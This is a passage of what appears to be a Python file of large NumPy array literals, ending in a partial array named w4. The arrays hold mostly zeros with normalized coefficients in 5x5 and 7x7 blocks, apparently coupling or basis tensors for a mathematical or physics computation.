[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.40824829, 0. ],
[ 0. , 0. , -0.40824829, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.40824829, 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.40824829, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.40824829, 0. , 0. ],
[ 0. , -0.40824829, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.4472136 ],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , 0.36514837, 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.18257419, 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0.4472136 , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , 0.36514837, 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.4472136 , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.25819889],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , 0.31622777, 0. , 0. ],
[ 0. , -0.25819889, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , -0.36514837],
[ 0. , 0. , 0. , 0.18257419, 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.18257419, 0. , 0. , 0. ],
[ 0.36514837, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0.25819889, 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0.31622777, 0. , 0. , 0. ],
[-0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]]],
[[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.4472136 ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.4472136 , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.18257419, 0. ],
[ 0. , 0. , 0.36514837, 0. , 0. ],
[ 0. , 0.18257419, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.36514837],
[ 0. , 0. , 0. , -0.25819889, 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.25819889],
[ 0. , 0. , 0. , -0.18257419, 0. ],
[ 0. , 0. , 0.31622777, 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.31622777, 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.31622777, 0. , 0. ],
[ 0. , 0.18257419, 0. , 0. , 0. ],
[ 0.25819889, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0.25819889, 0. , 0. , 0. ],
[-0.36514837, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , -0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.25819889, 0. ],
[ 0. , 0. , -0.36514837, 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , -0.31622777, 0. ],
[ 0. , 0. , 0.18257419, 0. , 0. ],
[ 0. , 0.25819889, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0.31622777, 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , -0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , -0.25819889, 0. ],
[ 0. , 0. , -0.18257419, 0. , 0. ],
[ 0. , 0.31622777, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0.36514837, 0. , 0. ],
[ 0. , -0.25819889, 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.23904572],
[ 0. , 0. , 0. , -0.29277002, 0. ],
[ 0. , 0. , 0.23904572, 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , -0.29277002],
[ 0. , 0. , 0. , 0.11952286, 0. ],
[ 0. , 0. , 0.11952286, 0. , 0. ],
[ 0. , -0.29277002, 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0.23904572],
[ 0. , 0. , 0. , 0.11952286, 0. ],
[ 0. , 0. , -0.23904572, 0. , 0. ],
[ 0. , 0.11952286, 0. , 0. , 0. ],
[ 0.23904572, 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , -0.29277002, 0. ],
[ 0. , 0. , 0.11952286, 0. , 0. ],
[ 0. , 0.11952286, 0. , 0. , 0. ],
[-0.29277002, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0.23904572, 0. , 0. ],
[ 0. , -0.29277002, 0. , 0. , 0. ],
[ 0.23904572, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. ]]]]]])
w4 = np.array([[[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 1. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
